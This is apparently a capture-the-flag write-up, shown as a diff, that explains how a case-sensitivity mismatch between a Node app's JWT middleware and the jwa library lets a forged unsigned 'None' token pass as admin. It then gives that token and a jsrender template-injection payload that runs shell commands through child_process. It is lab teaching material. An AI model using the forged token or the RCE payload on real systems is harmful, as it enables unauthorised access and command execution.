|
| 1 | +# Didactic Octo Paddles (medium) |
| 2 | +In this challenge we will exploit JWT tokens and use SSTI to get RCE. |
| 3 | + |
| 4 | +Spawning the website a login panel pops up. Nothing much we can do here, let's check the provided source code. |
| 5 | + |
| 6 | +We see that most endpoints are protected with the login prompt. |
| 7 | +We notice the register endpoint, so we could try to register and login with a user to further explore the site, however the **admin** endpoint seems way more interesting. |
| 8 | + |
| 9 | +```javascript |
| 10 | + router.get("/admin", AdminMiddleware, async (req, res) => { |
| 11 | + try { |
| 12 | + const users = await db.Users.findAll(); |
| 13 | + const usernames = users.map((user) => user.username); |
| 14 | + |
| 15 | + res.render("admin", { |
| 16 | + users: jsrender.templates(`${usernames}`).render(), |
| 17 | + }); |
| 18 | + } catch (error) { |
| 19 | + console.error(error); |
| 20 | + res.status(500).send("Something went wrong!"); |
| 21 | + } |
| 22 | + }); |
| 23 | +``` |
| 24 | + |
| 25 | +First of all there seems to be a clear SSTI bug which can be influenced by the usernames. |
| 26 | +So here it will be useful to register a user with a username that will trigger the SSTI and give us RCE, but first we need to successfully authenticate as admin. |
| 27 | + |
| 28 | +But the second reason this endpoint is so interesting is because it uses the `AdminMiddleware` instead of the usual `AuthMiddleware`, interesting... let's see what the `AdminMiddleware` does. |
| 29 | + |
| 30 | + |
| 31 | +```javascript |
| 32 | +const jwt = require("jsonwebtoken"); |
| 33 | +const { tokenKey } = require("../utils/authorization"); |
| 34 | +const db = require("../utils/database"); |
| 35 | + |
| 36 | +const AdminMiddleware = async (req, res, next) => { |
| 37 | + try { |
| 38 | + const sessionCookie = req.cookies.session; |
| 39 | + if (!sessionCookie) { |
| 40 | + return res.redirect("/login"); |
| 41 | + } |
| 42 | + const decoded = jwt.decode(sessionCookie, { complete: true }); |
| 43 | + |
| 44 | + if (decoded.header.alg == 'none') { |
| 45 | + return res.redirect("/login"); |
| 46 | + } else if (decoded.header.alg == "HS256") { |
| 47 | + const user = jwt.verify(sessionCookie, tokenKey, { |
| 48 | + algorithms: [decoded.header.alg], |
| 49 | + }); |
| 50 | + if ( |
| 51 | + !(await db.Users.findOne({ |
| 52 | + where: { id: user.id, username: "admin" }, |
| 53 | + })) |
| 54 | + ) { |
| 55 | + return res.status(403).send("You are not an admin"); |
| 56 | + } |
| 57 | + } else { |
| 58 | + const user = jwt.verify(sessionCookie, null, { |
| 59 | + algorithms: [decoded.header.alg], |
| 60 | + }); |
| 61 | + if ( |
| 62 | + !(await db.Users.findOne({ |
| 63 | + where: { id: user.id, username: "admin" }, |
| 64 | + })) |
| 65 | + ) { |
| 66 | + return res |
| 67 | + .status(403) |
| 68 | + .send({ message: "You are not an admin" }); |
| 69 | + } |
| 70 | + } |
| 71 | + } catch (err) { |
| 72 | + return res.redirect("/login"); |
| 73 | + } |
| 74 | + next(); |
| 75 | +}; |
| 76 | + |
| 77 | +module.exports = AdminMiddleware; |
| 78 | +``` |
| 79 | + |
| 80 | +Ok, so we will need a session cookie first of all. |
| 81 | +The algorithm can't be *none* because then we are forced to log in. |
| 82 | +It also can't be `HS256`, because then the token is verified against the secret, which is random. |
| 83 | +Therefore our only choice is to go into the `else` case. |
| 84 | + |
| 85 | +We see the token is verified, but instead of a secret value `null` is provided. |
| 86 | +This is our chance to bypass the authentication. |
| 87 | +Some of the choices that first came to mind: |
| 88 | + * Type juggling: provide algorithm as an array/object/boolean etc. |
| 89 | + * Provide another algorithm such as `HS512` |
| 90 | + |
| 91 | +However both of these approaches fail, to see why let's look into the `jsonwebtoken` source code. |
| 92 | + |
| 93 | +```javascript |
| 94 | +// verify.js:102 |
| 95 | + if(err) { |
| 96 | + return done(new JsonWebTokenError('error in secret or public key callback: ' + err.message)); |
| 97 | + } |
| 98 | + |
| 99 | + const hasSignature = parts[2].trim() !== ''; |
| 100 | + |
| 101 | + if (!hasSignature && secretOrPublicKey){ |
| 102 | + return done(new JsonWebTokenError('jwt signature is required')); |
| 103 | + } |
| 104 | + |
| 105 | + if (hasSignature && !secretOrPublicKey) { |
| 106 | + return done(new JsonWebTokenError('secret or public key must be provided')); |
| 107 | + } |
| 108 | + |
| 109 | + if (!hasSignature && !options.algorithms) { |
| 110 | + return done(new JsonWebTokenError('please specify "none" in "algorithms" to verify unsigned tokens')); |
| 111 | + } |
| 112 | +``` |
| 113 | + |
| 114 | +`secretOrPublicKey` is the second argument to the call, that we know is `null`. |
| 115 | + |
| 116 | +From this we can deduce that our forged JWT token should not have a signature part, otherwise the verification fails (second `if` statement) |
| 117 | + |
| 118 | +From the third `if` statement we deduce that `algorithms` needs to be set, even if there are no signatures. |
| 119 | + |
| 120 | +```javascript |
| 121 | +// verify.js:148 |
| 122 | + if (header.alg.startsWith('HS') && secretOrPublicKey.type !== 'secret') { |
| 123 | + return done(new JsonWebTokenError((`secretOrPublicKey must be a symmetric key when using ${header.alg}`))) |
| 124 | + } else if (/^(?:RS|PS|ES)/.test(header.alg) && secretOrPublicKey.type !== 'public') { |
| 125 | + return done(new JsonWebTokenError((`secretOrPublicKey must be an asymmetric key when using ${header.alg}`))) |
| 126 | + } |
| 127 | +``` |
| 128 | + |
| 129 | +Here we see that if use any other algorithm than *none* a field of `secretOrPublicKey` is accessed, so we can't use an alternative algorithm to `HS256` that is not `none`. |
| 130 | + |
| 131 | +```javascript |
| 132 | +// verify.js:162 |
| 133 | + let valid; |
| 134 | + |
| 135 | + try { |
| 136 | + valid = jws.verify(jwtString, decodedToken.header.alg, secretOrPublicKey); |
| 137 | + } catch (e) { |
| 138 | + return done(e); |
| 139 | + } |
| 140 | +``` |
| 141 | + |
| 142 | +Then our variables are passed to `jws.verify`, let's look into what happens there. |
| 143 | + |
| 144 | +*jws* calls *jwa* internally to get the verification algorithm based on what we provide in `alg`. |
| 145 | + |
| 146 | +Let's see what happens when `jwa` is called: |
| 147 | + |
| 148 | +```javascript |
| 149 | +// index.js:227 |
| 150 | +module.exports = function jwa(algorithm) { |
| 151 | + var signerFactories = { |
| 152 | + hs: createHmacSigner, |
| 153 | + rs: createKeySigner, |
| 154 | + ps: createPSSKeySigner, |
| 155 | + es: createECDSASigner, |
| 156 | + none: createNoneSigner, |
| 157 | + } |
| 158 | + var verifierFactories = { |
| 159 | + hs: createHmacVerifier, |
| 160 | + rs: createKeyVerifier, |
| 161 | + ps: createPSSKeyVerifier, |
| 162 | + es: createECDSAVerifer, |
| 163 | + none: createNoneVerifier, |
| 164 | + } |
| 165 | + var match = algorithm.match(/^(RS|PS|ES|HS)(256|384|512)$|^(none)$/i); |
| 166 | + if (!match) |
| 167 | + throw typeError(MSG_INVALID_ALGORITHM, algorithm); |
| 168 | + var algo = (match[1] || match[3]).toLowerCase(); |
| 169 | + var bits = match[2]; |
| 170 | + |
| 171 | + return { |
| 172 | + sign: signerFactories[algo](bits), |
| 173 | + verify: verifierFactories[algo](bits), |
| 174 | + } |
| 175 | +}; |
| 176 | +``` |
| 177 | + |
| 178 | +Here we see that to match the algorithm a regex is used. |
| 179 | +All looks good, however not the flag used: `i`, the case insensitive flag. |
| 180 | +This means that `none`, `None`, and `NONE` would be all valid matches. |
| 181 | + |
| 182 | +Furthermore when `algo` is decided the match itself is converted to lower case letters. |
| 183 | + |
| 184 | +But recall how in the `AdminMiddleware` we execute a case sensitive comparison with `==`. |
| 185 | + |
| 186 | +And here we have our first bug, which allows us to bypass the JWT token verification for admin. |
| 187 | + |
| 188 | +We will send the following JWT token: `eyJhbGciOiAiTm9uZSIsInR5cCI6IkpXVCJ9.eyJpZCI6MX0.`, encoded in the second part is the user ID we want, which is 1 for the admin. |
| 189 | + |
| 190 | +Now all that is left to do is to send a POST request to the `/register` endpoint and create a user with the SSTI payload as the username. |
| 191 | + |
| 192 | +``` |
| 193 | +payload: {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}} |
| 194 | +``` |
| 195 | + |
| 196 | +Now we log in with the **admin** user with the JWT bypass, and just enjoy the flag. |
0 commit comments